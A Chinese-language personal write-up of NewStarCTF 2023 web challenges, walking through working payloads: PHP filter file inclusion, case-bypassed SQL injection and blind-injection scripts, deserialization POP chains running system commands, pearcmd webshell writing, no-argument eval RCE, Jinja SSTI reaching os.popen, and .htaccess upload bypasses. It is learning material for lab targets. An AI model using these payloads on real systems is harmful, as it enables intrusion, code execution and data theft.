2023-NewstarCTF-wp

NEW STAR WEB

week 2

游戏高手

image-20240126151739468

很明显不可能直接手打100000分

第一次碰到游戏题完全不会做 想了一会 直接give up

查看wp 复现如下:

前端题 改javascript代码

image-20240126155035820

f12后在样式编辑器中可以找到js文件 发现游戏结束代码 346

这段代码的意思是:当分数高于100000时,向api.php发送post请求,弹窗你的分数并返回一个消息

所以我们需要改javascript的变量值,将gameScore赋值大于100000

方法:

  • 在我们需要修改的变量赋值语句之后,下断点(点击语句左侧的序号就能下断点),之后刷新页面(F5),重新载入页面

    image-20240126155827668

  • 换到 “控制台” 标签页,设置要修改的变量的值,达到覆盖原值的目的,语句格式 “变量名=值”,gameScore=999999

    image-20240126160001641

  • 上传后发现分数已经超了,自杀后,切回 “调试器” 标签页,变量值已被修改

    image-20240126160542049

出flag

image-20240126160600842

image-20240126160613779

include 0。0

 <?php
highlight_file(__FILE__);
// FLAG in the flag.php
$file = $_GET['file'];
if(isset($file) && !preg_match('/base|rot/i',$file)){
@include($file);
}else{
die("nope");
}
?> nope

禁用了base64与rot13

payload:

convert.iconv过滤器:

?file=php://filter/read=convert.iconv.utf-8.utf-16le/resource=flag.php

image-20240126162458463

?file=php://filter/convert.iconv.utf-8.utf-7/resource=flag.php

image-20240126162642873

将+AHs-和+AH0删掉替换成{},就是flag了

  1. convert.iconv: 这是libiconv库的一个函数,用于字符编码转换。
  2. utf-8.utf-7: 这指定了要执行的转换。在这里,它试图将UTF-8编码转换为UTF-7编码。UTF-7并不是一个有效的或广泛使用的字符编码。

3.utf-8.utf-16le:将数据从UTF-8编码转换为UTF-16LE编码

这种转换通常不是攻击者的真正目的,而是利用这个过滤器来造成PHP解析文件内容时的混乱,从而泄露文件内容。实际上,这个转换过程可能会导致PHP输出文件内容的Base64编码或其他形式的编码,而不是直接输出转换后的字符

同理:

?file=php://filter/convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.UCS-2BE.UCS-2LE/resource=flag.php

convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.UCS-2BE.UCS-2LE: 这是一个字符编码转换过滤器,尝试将文件内容从UCS-2LE编码转换为UCS-2BE编码,然后再转换回UCS-2LE编码。这样的转换通常不是为了实际的编码转换,而是为了造成PHP解析文件时的混乱,从而尝试获取文件内容。

其他可能:

rot13: php://filter/string.rot13/resource=flag.php

base64: php://filter/read=convert.base64-encode/resource=flag.php

toupper(转换为大写): php://filter/string.toupper/resource=flag.php

tolower(转换为小写): php://filter/string.tolower/resource=flag.php

ez_sql

image-20240127010216221

随便点开一个

image-20240127010253840

发现url上有id的传参可能有注入点

另一个:

image-20240127010404429

id不一样 应该是从这里来注入

image-20240127010500010

%23:# %27:‘

union select查一下 回显no 应该是有waf

大小写绕一下 可以了

image-20240127010727025

最开始的查表:

?id=1’Union sElect 1,2,3,4,(grOup_conCat(taBle_nAme) froM inforMation_schEma.taBles wHEre taBle_scheMa=dataBase())%23

image-20240127012455153

懵了 无回显 看了一下 感觉没什么问题啊

看来下wp

?id=1’ uNion Select ((sElect grOup_cOncat(tAble_name) From infOrmation_schema.tables Where Table_schema=Database())),2,3,4,5%23

为什么要加这个select 不太明白 以前做sql的题没遇见过啊 懵了 AI说这个select是不必要的 但是没有这个select有查不出来 服了 先放在这里吧 之后解决了在回来补上

加上select后

?id=1’Union sElect 1,2,3,4,(sElect grOup_conCat(taBle_nAme) froM informatiOn_schEma.taBles wHEre taBle_scheMa=dataBase())%23

image-20240127013225646

又懵了 这应该大小写问题 但我是每个单词都改了大小写的 一个一个对发现是information的问题 只有infOrmation和infoRmation可以 这是什么逻辑?双标狗

image-20240127013733598

查字段名:

?id=1’union select 1,2,3,4,((sElect grOup_cOncat(cOlumn_nAme) From infOrmation_schEma.coLumns whEre tAble_nAme=’here_is_flag’))%23

image-20240127014125897

经典

?id=1’ uNion Select ((sElect grOup_cOncat(column_name) From infOrmation_schema.columns Where Table_name=’here_is_flag’)),2,3,4,5%23

不想管了

image-20240127014522482

查值:

id=1’uNion Select 1,2,3,4,(sElect grOup_cOncat(flag) From ‘ here_is_flag’)%23

image-20240127014941787

sqlmap也可以 但是我没做起 报了个什么错 没搞懂

payload: 别人的结果

sqlmap -u ‘http://http://9dfeb06c-8482-4b4b-b5a9-ed3625a7e087.node5.buuoj.cn:81/?id=1‘ -D ‘ctf’ -T ‘here_is_flag’ -C ‘flag’ –dump

image-20240127152916422

sqlmap简单使用:

1、检测「注入点」

sqlmap -u ‘http://xx/?id=1
1
2、查看所有「数据库」

sqlmap -u ‘http://xx/?id=1‘ –dbs
1
3、查看当前使用的数据库

sqlmap -u ‘http://xx/?id=1‘ –current-db
1
4、查看「数据表」

sqlmap -u ‘http://xx/?id=1‘ -D ‘security’ –tables
1
5、查看「字段」

sqlmap -u ‘http://xx/?id=1‘ -D ‘security’ -T ‘users’ –tables
1
6、查看「数据」

sqlmap -u ‘http://xx/?id=1‘ -D ‘security’ -T ‘users’ –dump

img

post、UA等上的注入方法:

  • 找到注入点后 bp抓包 在注入点后加* 把整个包复制下来 保存

  • 用-r来打开保存后的包

Unserialize?

 <?php
highlight_file(__FILE__);
// Maybe you need learn some knowledge about deserialize?
class evil {
private $cmd;

public function __destruct()
{
if(!preg_match("/cat|tac|more|tail|base/i", $this->cmd)){
@system($this->cmd);
}
}
}

@unserialize($_POST['unser']);
?>

很多反序列化的知识已经忘了 过年的时候把笔记补上

__destruct()这是在对象被销毁时自动调用

  1. 对象生命周期结束:当一个对象的生命周期结束时,例如脚本执行结束或对象不再被引用时,PHP 的垃圾回收机制会自动销毁该对象,并触发 __destruct() 方法。
  2. 对象被显式销毁:可以使用 unset() 函数显式销毁一个对象,这将触发 __destruct()

复现如下:

<?php
class evil {
private $cmd=('ls -al');
}
$a=new evil();
echo serialize($a);
?>
//O:4:"evil":1:{s:9:"evilcmd";s:6:"ls -al";}

但是PHP 序列化的时候 private和 protected 变量会引入不可见字符%00,private是%00类名%00属性名 ,protected为%00*%00属性名

image-20240127161447216

两个白空格就是

url编码后O%3A4%3A%22evil%22%3A1%3A%7Bs%3A9%3A%22***%00evil%00***cmd%22%3Bs%3A6%3A%22ls+-al%22%3B%7D

因为是private,序列化出来后会有%00属性导致无法完全复制去burp,而且传参里也不能有空格,应该用%20或者‘+’链接因为最后使用post传参可以识别url编码,所以把空格处替换为%20

O:4:”evil”:1:{s:9:”%00evil%00cmd”;s:6:”ls%20-al”;}

直接查根目录 linux中查询根目录下文件的命令为ls / 在上面的代码中将ls -al 改为ls /

O:4:”evil”:1:{s:9:”%00evil%00cmd”;s:4:”ls%20/“;}

image-20240127162542891

发现flag文件

禁用了cat|tac|more|tail|base

还可以用 head nl uniq

uniq /th1s_1s_fffflllll4444aaaggggg

nl /th1s_1s_fffflllll4444aaaggggg

head /th1s_1s_fffflllll4444aaaggggg

直接序列化

O:4:”evil”:1:{s:9:”%00evil%00cmd”;s:35:”head%20/th1s_1s_fffflllll4444aaaggggg”;}

O:4:”evil”:1:{s:9:”%00evil%00cmd”;s:33:”nl%20/th1s_1s_fffflllll4444aaaggggg”;}

O:4:”evil”:1:{s:9:”%00evil%00cmd”;s:35:”uniq%20/th1s_1s_fffflllll4444aaaggggg”;}

也可以再url编码 echo urlencode(serialize($a)); 这样就可以不加%00

O%3A4%3A%22evil%22%3A1%3A%7Bs%3A9%3A%22%00evil%00cmd%22%3Bs%3A35%3A%22head+%2Fth1s_1s_fffflllll4444aaaggggg%22%3B%7D

但是直接这样也不行 要把命令中的加号替换为%20或者空格

即:

O%3A4%3A%22evil%22%3A1%3A%7Bs%3A9%3A%22%00evil%00cmd%22%3Bs%3A35%3A%22head***%20***%2Fth1s_1s_fffflllll4444aaaggggg%22%3B%7D

image-20240127164959219

其他的同理即可

Upload again!

image-20240127165514001

真挺讨厌文件上传的

.htaccess

.htaccess可以帮我们实现包括:文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表,以及使用其他文件作为index文件等一些功能。

总之就是告诉服务器将 .jpg 后缀的文件解析为 PHP 脚本

AddType application/x-httpd-php .jpg

将jpg用php解析

常见配置:

AddHandler php5-script .jpg

AddType application/x-httpd-php .jpg

Sethandler application/x-httpd-php
Sethandler 将该目录及子目录的所有文件均映射为php文件类型。
Addhandler 使用 php5-script 处理器来解析所匹配到的文件。
AddType 将特定扩展名文件映射为php文件类型。

先传配置文件 .htaccess 可以

image-20240127184547569

再传图片马

?我传个没马的也给我过滤了?懵了 换了张图片也是这样 give up

这个应该是传了.htaccess后 再传图片马 然后蚁剑连接 根目录上找flag

找了wp就是这样

image-20240127192240775

image-20240127192303247

image-20240127192313715

本来文件上传和蚁剑就是我的弱项 你还给我整这出

它过滤了<? 只要有<?就会被认为是php 所以要用javascript写来绕过<?

image-20240127233054341

ok 这个上传上去了 不是用的图片马 而是直接改的后缀

image-20240127233320601

好好好 终于进来了

image-20240127233356332

image-20240127233411157

GGGGGGet

R!!C!!E!!

image-20240127192543606

上来就是一个下马威 应该要整点信息泄露

image-20240127194316310

git泄露 被禁了

githack下来

image-20240127195156971

bo0g1pop.php中有

<?php
highlight_file(__FILE__);
if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) {
if(!preg_match('/high|get_defined_vars|scandir|var_dump|read|file|php|curent|end/i',$_GET['star'])){
eval($_GET['star']);
}
}

严格等于分号 懵了

确实是没见过

if (‘;’ === preg_replace(‘/[^\W]+((?R)?)/‘, ‘’, $_GET[‘star’]))这是一个非常典型的无参数rce题

这里的正则表达式 [^\W]+((?R)?) 匹配了一个或多个非标点符号字符(表示函数名),后跟一个括号(表示函数调用)。其中 (?R) 是递归引用,它只能匹配和替换嵌套的函数调用,而不能处理函数参数。使用该正则表达式进行替换后,每个函数调用都会被删除,只剩下一个分号 ;,而最终结果强等于;时,payload才能进行下一步。简而言之,无参数rce就是不使用参数,而只使用一个个函数最终达到目的

无参数rce可能用到的函数:

目录操作:
getchwd() :函数返回当前工作目录。
scandir() :函数返回指定目录中的文件和目录的数组。
dirname() :函数返回路径中的目录部分。
chdir() :函数改变当前的目录。

数组相关的操作:
end() - 将内部指针指向数组中的最后一个元素,并输出。
next() - 将内部指针指向数组中的下一个元素,并输出。
prev() - 将内部指针指向数组中的上一个元素,并输出。
reset() - 将内部指针指向数组中的第一个元素,并输出。
each() - 返回当前元素的键名和键值,并将内部指针向前移动。
array_shift() - 删除数组中第一个元素,并返回被删除元素的值。
array_reverse() -逆转数组
array_flip():交换数组中的键和值,成功时返回交换后的数组,如果失败返回 NULL。
array_rand():从数组中随机取出一个或多个单元,如果只取出一个(默认为1), array_rand() 返回随机单元的键名。 否则就返回包含随机键名的数组。 完 成后,就可以根据随机的键获取数组的随机值。
array_flip()和array_rand()配合使用可随机返回当前目录下的文件名


读文件
show_source() - 对文件进行语法高亮显示。
readfile() - 输出一个文件。
highlight_file() - 对文件进行语法高亮显示。
file_get_contents() - 把整个文件读入一个字符串中。
readgzfile() - 可用于读取非 gzip 格式的文件


关键函数:
getenv() :获取环境变量的值
php7.0以下返回bool(false)
php7.0以上正常回显
payload:
?code=var_dump(getenv());
?code=var_dump(getenv(phpinfo()));



getallheaders():获取所有 HTTP 请求标头,是apache_request_headers()的别名函 数,但是该函数只能在Apache环境下使用

payload:
1) GET /1.php?code=eval(end(getallheaders())); HTTP/1.1
.....
flag: system('id');
2) GET /1.php?exp=eval(end(apache_request_headers())); HTTP/1.1
....
flag: system('id'); php7以上



get_defined_vars():返回由所有已定义变量所组成的数组,会返回$_GET
,$_POST,$_COOKIE,$_FILES全局变量的值,返回数组顺序为get- >post->cookie->files
current():返回数组中的当前单元,初始指向插入到数组中的第一个单元,也 就是会返回$_GET变量的数组值
payload:
1) code=eval(end(current(get_defined_vars())));
&flag=system('ls'); 利用全局变量进RCE
2)flag=system('id');&code=eval(pos(pos(get_defined_vars())));

pos() 函数返回数组中的当前元素的值。

该函数是 current() 函数的别名。



session_start():启动新会话或者重用现有会话,成功开始会话返回 TRUE ,反之返回 FALSE,返回参数给session_id()
session_id():获取/设置当前会话 ID,返回当前会话ID。 如果当前没有会话,则返回空字符 串(””)
scandir() 文件读取

太复杂了 没咋看懂 遇到题再来练吧

法1:

用array_flip()和array_rand()

?star=eval(array_rand(array_flip(getallheaders())));

image-20240128020145114

cat flag

image-20240128020515102

法2:

用array_reverse()和pos

?star=eval(pos(array_reverse(getallheaders())));

image-20240128020756998

还必须要用X-Forwarder-Proto: ?

cat flag

image-20240128021016609

直接cat /f*也可以

week3

Include 🍐

 <?php
error_reporting(0);
if(isset($_GET['file'])) {
$file = $_GET['file'];

if(preg_match('/flag|log|session|filter|input|data/i', $file)) {
die('hacker!');
}

include($file.".php");
# Something in phpinfo.php!
}
else {
highlight_file(__FILE__);
}
?>

还有file协议可以用

?file=file:///var/www/html/phpinfo

?file=phpinfo

image-20240131144457596

这是啥啊

image-20240131150259656

所以呢 虽然我感觉在哪里见过这个register_argc_argv

结合题目 应该要用pear文件

直接构造payload:

?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=@eval($_POST[0]);?>+/tmp/cmd.php

<?=@eval($_POST[0]);?>写入了cmd.php

image-20240131190513057

?file=/tmp/cmd
post:0=system("cat /flag");

懵了

image-20240131235659299

image-20240131235857961

试下

?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=@eval($_POST[0]);?>+/tmp/cmd.php

image-20240201000302645

终于好了

image-20240201000441411

image-20240201000501123

flag{866ff3b3-4cd3-459a-ae7b-a008460ccb6b}

你猜是为什么会这样 明明我传到没问题 但是没实现命令

直接url中get传参会把<这些字符自动编码,就成功不了,所以用burp抓包再改回来,这个特别重要 我就是这里改少了 导致后边做不了

它会把?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=@eval($_POST[0]);?>+/tmp/cmd.php

改为?+config-create+/&file=/usr/local/lib/php/pearcmd&/%3C?=@eval($_POST[0]);?%3E+/tmp/cmd.php

要改回来 然后就行了

medium_sql

image-20240201170649597

和上次那个很像

image-20240201170738191

还是id

sqlmap跑不出来显示无参数可注入

sql盲注脚本

import requests
import time

url = "http://1e69aee3-11f1-4a55-b4a2-8545b1633f65.node5.buuoj.cn:81//?id=TMP0919'AND "

result = ''
i = 0

while True:
i = i + 1
head = 32
tail = 127

while head < tail:
mid = (head + tail) >> 1
payload = f'Ascii(Substr((Select flag from here_is_flag),{i},1))>{mid}--+'
r = requests.get(url + payload)
if "points" in r.text:
head = mid + 1
else:
tail = mid

if head != 32:
result += chr(head)
else:
break
print(result)
time.sleep(1) # 暂停1秒,降低爬取速度

首先,导入了requests库,该库用于发送HTTP请求并获取响应。
然后,定义了一个URL变量,用于存储要爬取的网页地址。
接下来,初始化了一个空字符串result和一个计数器i。
进入一个无限循环,在每次迭代中:

计数器i递增1,表示尝试获取下一个字符。
设置一个范围head和tail,分别代表可能的ASCII码值的范围(这里设置为32126)。
使用二分查找算法在范围内找到中间值mid。
构造一个payload字符串,其中包含当前计数器的值和中间ASCII码值。
发送GET请求到目标URL,并将payload附加到URL后。将响应保存在变量r中。
检查响应文本中是否包含"points"关键字,如果存在,则将搜索范围缩小为[mid+1, tail];否则,将搜索范围缩小为[head, mid]。
如果找到了目标字符(即head不等于32),将其添加到结果字符串result中。
如果未找到目标字符,跳出无限循环。
打印结果字符串。
为了降低爬取速度,添加了暂停1秒的语句(time.sleep(1))

在week2的基础上,多过滤了union。

image-20240201180835613

是布尔盲注

两个脚本都可以

image-20240201180200670

image-20240201180658354

flag{4549e50b-b8fe-423a-9d5c-9fcda9f82115}

POP Gadget

 <?php
highlight_file(__FILE__);

class Begin{
public $name;

public function __destruct()
{
if(preg_match("/[a-zA-Z0-9]/",$this->name)){
echo "Hello";
}else{
echo "Welcome to NewStarCTF 2023!";
}
}
}

class Then{
private $func;

public function __toString()
{
($this->func)();
return "Good Job!";
}

}

class Handle{
protected $obj;

public function __call($func, $vars)
{
$this->obj->end();
}

}

class Super{
protected $obj;
public function __invoke()
{
$this->obj->getStr();
}

public function end()
{
die("==GAME OVER==");
}
}

class CTF{
public $handle;

public function end()
{
unset($this->handle->log);
}

}

class WhiteGod{
public $func;
public $var;

public function __unset($var)
{
($this->func)($this->var);
}
}

@unserialize($_POST['pop']);

Begin::__destruct -> Then::__toString -> Super::__invoke -> Handle::__call -> CTF::end -> WhiteGod::__unset

pop链:

 <?php

class Begin{
public $name;

public function __destruct()
{

}
}

class Then{
private $func;

public function __construct()

{

$s=new Super();

$this->func=$s;

}

public function __toString(){
($this->func)();//这里把Super当函数调用,实际触发了Super()里面的__invoke方法
return "Good Job!";
}
}

class Handle{
protected $obj;
public function __construct()

{

$this->obj=new CTF();//实例化CTF()后给这里的obj赋值

}

public function __call($func, $vars)
{
$this->obj->end();//调用了CTF()里的end()方法
}

}

class Super{
protected $obj;
public function __construct()

{

$this->obj=new Handle();//为protected $obj赋值
}
public function __invoke()
{
$this->obj->getStr();//Handle 类没有定义 getStr() 方法,因此在调用这个方法时会触发 handle里的__call() 魔术方法
}

public function end()
{
die("==GAME OVER==");
}
}

class CTF{
public $handle;

public function __construct()

{

$w=new WhiteGod();

$this->handle=$w;

}
public function end()
{
unset($this->handle->log);//在这个end()方法中我们试图用unset()删除WhiteGod()里面的log属性
}

}

class WhiteGod{
public $func='system';
public $var="cat /flag";

public function __unset($var)
{
($this->func)($this->var);
}
}
$b=new Begin();
$b->name=new Then();
echo urlencode(serialize($b));

需要注意的是一些类中有保护或私有属性的成员,因此需要对序列化数据进行URL编码

需要特别注意的是在执行 unset($this->handle->log) 时,会尝试调用 $this->handle 对象的 __unset() 魔术方法。该方法将使用属性 $this->func 的值作为可调用函数,并将属性 $this->var 的值作为参数来执行。

因此,在 WhiteGod 类中调用 unset($this->handle->log) 将实际上执行 ($this->func)($this->var),相当于执行 system('ls /'),即执行系统命令 ls /

整体来说是:

__destruct() 中,由于 $name 包含一个 Then 对象,会触发 __toString() 魔术方法。在 __toString() 方法中,首先调用 $this->func 属性指向的对象(即 Super 对象),接下来进入 Super 类,由于该类含有一个 __invoke() 魔术方法,因此在调用 Super 对象时会触发 __invoke() 方法。在 __invoke() 方法中,又会调用 $this->obj->getStr() 方法,并进入 Handle 类中。

由于 Handle 类没有定义 getStr() 方法,因此在调用这个方法时会触发 __call() 魔术方法。在 __call() 方法中,将会调用 $this->obj->end() 方法,并触发 CTF 类中的 end() 方法。

在 CTF 类的 end() 方法中,我们会调用 unset($this->handle->log),从而触发 WhiteGod 类的 __unset() 魔术方法。在 __unset() 方法中,我们构造了一个命令行字符串,然后通过执行漏洞执行了系统命令。

得到payload:

pop=O%3A5%3A%22Begin%22%3A1%3A%7Bs%3A4%3A%22name%22%3BO%3A4%3A%22Then%22%3A1%3A%7Bs%3A10%3A%22%00Then%00func%22%3BO%3A5%3A%22Super%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00obj%22%3BO%3A6%3A%22Handle%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00obj%22%3BO%3A3%3A%22CTF%22%3A1%3A%7Bs%3A6%3A%22handle%22%3BO%3A8%3A%22WhiteGod%22%3A2%3A%7Bs%3A4%3A%22func%22%3Bs%3A8%3A%22readfile%22%3Bs%3A3%3A%22var%22%3Bs%3A5%3A%22%2Fflag%22%3B%7D%7D%7D%7D%7D%7D

image-20240201202421115

其实我觉得我应该重学一下反序列化漏洞 忘得太多了 太不熟练了

过年那周重学一下吧

R!!!C!!!E!!!

 <?php
highlight_file(__FILE__);
class minipop{
public $code;
public $qwejaskdjnlka;
public function __toString()
{
if(!preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|tee|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $this->code)){
exec($this->code);
}
return "alright";
}
public function __destruct()
{
echo $this->qwejaskdjnlka;
}
}
if(isset($_POST['payload'])){
//wanna try?
unserialize($_POST['payload']);
}

tee命令用于从标准输入读取数据,并将其写入一个或多个文件 tee的作用是把查询到的根目录写入到当前网页下的某文件 再次访问该文件即可得到被打印的根目录

tee通常后面会跟着要写入的文件名

script a:script 是一个Unix/Linux命令,用于记录终端会话。当你运行 script 命令时,它会开始记录你在终端中的所有活动,直到你停止它。ascript 命令的一个选项,表示将输出追加到一个文件中,而不是覆盖它。如果文件不存在,它会被创建;如果文件已经存在,新的输出会被追加到文件的末尾。

Shell是一个通用术语,指的是用户与操作系统内核之间的交互界面。它是一个命令解释器,允许用户通过键盘输入命令来与操作系统进行交互。Shell提供了一种执行命令、控制进程、文件操作等的途径,可以是交互式的也可以是脚本式的。

Bash是一种Unix Shell,是Bourne Again SHell的缩写。它是Bourne Shell的增强版本,在功能上扩展了Bourne Shell,同时兼容POSIX标准。Bash支持命令行编辑、命令历史、条件测试、循环结构等高级特性,使得脚本编写更加方便。

简单来说,Shell是一个广义的概念,Bash是Shell的一种具体实现。

所以 用ls / | t’’ee b的方法进行查看

也可以用ls / |script a 跟ls / | t’’ee b作用是一样的

<?php

class minipop{

public $code="ls / | t''ee b";//”ls / |script a“

public $qwejaskdjnlka;
}

$a=new minipop();

$b= new minipop(); //调用两次
$b->qwejaskdjnlka=$a;

echo serialize($b);

?>

结果O:7:”minipop”:2:{s:4:”code”;s:14:”ls / | t’’ee b”;s:13:”qwejaskdjnlka”;O:7:”minipop”:2:{s:4:”code”;s:14:”ls / | t’’ee b”;s:13:”qwejaskdjnlka”;N;}}

image-20240201211829175

访问文件b 访问a

image-20240201211918373

发现flag所在文件

直接cat /flag_is_h3eeere

<?php

class minipop{

public $code="cat /flag_is_h3eeere|t''ee b";//" cat /flag_is_h3eeere|script a"

public $qwejaskdjnlka;
}

$a=new minipop();

$b= new minipop(); //调用两次
$b->qwejaskdjnlka=$a;

echo serialize($b);

?>

结果

O:7:”minipop”:2:{s:4:”code”;s:28:”cat /flag_is_h3eeere|t’’ee b”;s:13:”qwejaskdjnlka”;O:7:”minipop”:2:{s:4:”code”;s:28:”cat /flag_is_h3eeere|t’’ee b”;s:13:”qwejaskdjnlka”;N;}}

image-20240201212214441

再查看文件b或a

image-20240201212238787

image-20240201212705906

官方说这考点本来应该是bash盲注 没太看懂

Bash盲注是一种针对Bash shell的注入攻击,攻击者尝试利用Bash的某些特性来执行恶意命令或获取敏感信息。

在Bash中,用户输入的命令会被解析和执行。攻击者可能会尝试利用Bash的输入验证不严格、命令替换等特性,注入恶意代码,导致意外的行为或泄露敏感信息

这道题脚本

import time
import requests
url = "http://bcdad1a5-6014-4594-a8b5-c4c03f581147.node4.buuoj.cn:81/"
result = ""
for i in range(1,15):
for j in range(1,50):
#ascii码表
for k in range(32,127):
k=chr(k)
payload =f"if [ `cat /flag_is_h3eeere | awk NR=={i} | cut -c {j}` == '{k}' ];then sleep 2;fi"
length=len(payload)
payload2 ={
"payload": 'O:7:"minipop":2:{{s:4:"code";N;s:13:"qwejaskdjnlka";O:7:"minipop":2:{{s:4:"code";s:{0}:"{1}";s:13:"qwejaskdjnlka";N;}}}}'.format(length,payload)
}
t1=time.time()
r=requests.post(url=url,data=payload2)
t2=time.time()
if t2-t1 >1.5:
result+=k
print(result)
result += " "

image-20240201215218834

其他base盲注脚本

#!/usr/bin/env python3
#-*- coding:utf-8 -*-

import requests
import time as t
from urllib.parse import quote as urlen
url = 'http://2505541e-7bbc-4055-b36b-00c8454b850e.challenge.ctf.show/?F=`$F%20`;'
alphabet = ['{','}', '.', '@', '-','_','=','a','b','c','d','e','f','j','h','i','g','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','0','1','2','3','4','5','6','7','8','9']

result = ''
for i in range(1,50):
for char in alphabet:
# payload = "if [ `ls | grep 'flag' |cut -c{}` = '{}' ];then sleep 5;fi".format(i,char) #flag.php
payload = "if [ `cat flag.php | grep 'flag' |cut -c{}` = '{}' ];then sleep 5;fi".format(i,char)
# data = {'cmd':payload}
try:
start = int(t.time())
r = requests.get(url+payload)
# r = requests.post(url, data=data)
end = int(t.time()) - start
if end >= 3:
result += char
print("Flag: "+result)
break
except Exception as e:
print(e)

其实对base盲注还是不太明白 QAQ

解释:

Bash盲注
截取比较
参考 https://www.cnblogs.com/kiko2014551511/p/11531558.html

cat /flag | cut -c (截取第几位)

${string:start:length} 从字符串左边开始计数

string为要截取的字符串,start是起始位置(从左边开始,从0开始计数),length是要截取的长度(省略的话表示直到字符串的末尾)

${string:0-start:length} 从右边开始计数
同从左边开始计数相比,这种格式仅仅多了0-,这是固定的写法,专门用来标识从字符串右边开始计数

注意点:

从左边开始计数时,起始数字是0;
从右边开始计数时,起始数字是1
不管从哪边计数,截取方向都是从左到右

延时
sleep 5

只找到这一篇解释 懵逼

GenShin

image-20240201225109579

f12 在网络中发现奇怪的地方

image-20240201225202549

发现secr3tofpop 可能是个文件

查一下

image-20240201225256182

让我们get传一个name

image-20240201225407225

传admin 回显admin

可能是ssti

{%print(7*7)%}

image-20240201225538869

回显49 是ssti

查看config 看看key 没有,那考点应该不是爆破 查看一下子类

image-20240201232337950

?name={%print""|attr("__class__")|attr("__base__")|attr("__subclasses__")()%}

image-20240201232510988

找os模块

?name={%print""|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr(132)|attr("__in"+"it__")|attr("__globals__")%}

image-20240201233511794

找到eval

不能使用system函数

eval(__import__('os').popen('ls /').read())

所以发现flag之后也是一样的改为__import__('os').popen('cat /flag').read()

然后对它进行chr编码

?name={%print""|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr(132)|attr("__in"+"it__")|attr("__globals__")|attr("get")("__builtins__")|attr("get")("eval")("eval(chr(95)%2bchr(95)%2bchr(105)%2bchr(109)%2bchr(112)%2bchr(111)%2bchr(114)%2bchr(116)%2bchr(95)%2bchr(95)%2bchr(40)%2bchr(39)%2bchr(111)%2bchr(115)%2bchr(39)%2bchr(41)%2bchr(46)%2bchr(112)%2bchr(111)%2bchr(112)%2bchr(101)%2bchr(110)%2bchr(40)%2bchr(39)%2bchr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%2bchr(39)%2bchr(41)%2bchr(46)%2bchr(114)%2bchr(101)%2bchr(97)%2bchr(100)%2bchr(40)%2bchr(41))")%}

image-20240201234041082

flag{44f974fa-5970-49dd-aba8-4b9bdf9c5bdf}

也可以用get_flashed_message()

get_flashed_messages() 是一个在 Flask web 框架中用于处理 flash 消息的函数。Flash 消息是一种在用户进行表单提交后显示的临时消息,通常用于通知用户关于表单提交的结果。

例如,如果你有一个表单,用户提交后你可能想要显示一个消息告诉他们表单已成功提交或出现了一些错误。Flash 消息就是用来实现这个目的的。

{% print(get_flashed_messages.__globals__.os["pop"+"en"]("cat /flag").read()) %}

image-20240201234319631

OtenkiGirl

JavaScript 原型链污染

image-20240202225439118

还有这个网站的源码

有回显

image-20240202225622528

bp抓包

image-20240202230258106

发现多了一个timestamp 时间戳

时间戳(Timestamp)通常表示某一时刻或事件发生的确切时间,这个时间通常以某种固定的格式被记录下来,以便于后续的处理、比较或排序。

一共发了五个包

image-20240202230849584

其中向info发了时间戳

进一步尝试发现 不管发什么都会向info发时间戳

所以看看源码 info到底是干什么的

image-20240202233059552

先看看基础的app.js

const env = global.env = (process.env.NODE_ENV || "production").trim();
const isEnvDev = global.isEnvDev = env === "development";
const devOnly = (fn) => isEnvDev ? (typeof fn === "function" ? fn() : fn) : undefined
const CONFIG = require("./config"), DEFAULT_CONFIG = require("./config.default");
const PORT = CONFIG.server_port || DEFAULT_CONFIG.server_port;

const path = require("path");
const Koa = require("koa");
const bodyParser = require("koa-bodyparser");

const app = new Koa();

app.use(require('koa-static')(path.join(__dirname, './static')));
devOnly(_ => require("./webpack.proxies.dev").forEach(p => app.use(p)));
app.use(bodyParser({
onerror: function (err, ctx) {
// If the json is invalid, the body will be set to {}. That means, the request json would be seen as empty.
if (err.status === 400 && err.name === 'SyntaxError' && ctx.request.type === 'application/json') {
ctx.request.body = {}
} else {
throw err;
}
}
}));

[
"info",
"submit"
].forEach(p => { p = require("./routes/" + p); app.use(p.routes()).use(p.allowedMethods()) });

app.listen(PORT, () => {
console.info(`Server is running at port ${PORT}...`);
})

module.exports = app;


分析:
这段代码是一个基于 Node.jsKoa 框架的 web 服务器应用程序。下面是这段代码的详细解释:

环境变量设置
通过 process.env.NODE_ENV 获取环境变量,如果不存在则默认为 "production"
判断当前环境是否为开发环境,并设置到全局变量 isEnvDev 中。
devOnly 函数用于只在开发环境中执行特定操作。

配置加载
加载配置文件 config.js 和默认配置文件 config.default.js。如果 config.js 中没有指定 server_port,则使用 config.default.js 中的 server_port。

导入模块和初始化应用
导入路径处理模块 path、Koa 框架 koa、以及 Koa 的 body 解析中间件 koa-bodyparser。
初始化一个新的 Koa 应用实例。

中间件设置
使用 koa-static 中间件为静态资源提供服务,静态资源目录为 ./static
在开发环境中,加载并执行 webpack.proxies.dev.js 中定义的所有中间件。
使用 koa-bodyparser 中间件解析请求体。如果请求体是无效的 JSON,则将请求体设置为空对象。

路由加载
加载并执行 ./routes/info.js 和 ./routes/submit.js 中定义的路由。

启动服务器
监听指定的端口,并在控制台输出服务器运行状态。

导出应用实例
Koa 应用实例导出,以便在其他模块中使用。
这个应用程序的主要功能是提供一个 web 服务器,用于处理客户端的请求,并根据请求的 URL 和方法调用相应的路由处理函数。同时,它还提供了静态资源服务,可以直接访问存放在 ./static 目录中的文件。在开发环境中,它还支持通过 webpack.proxies.dev.js 配置的中间件进行额外的处理,例如代理请求到另一个服务器。

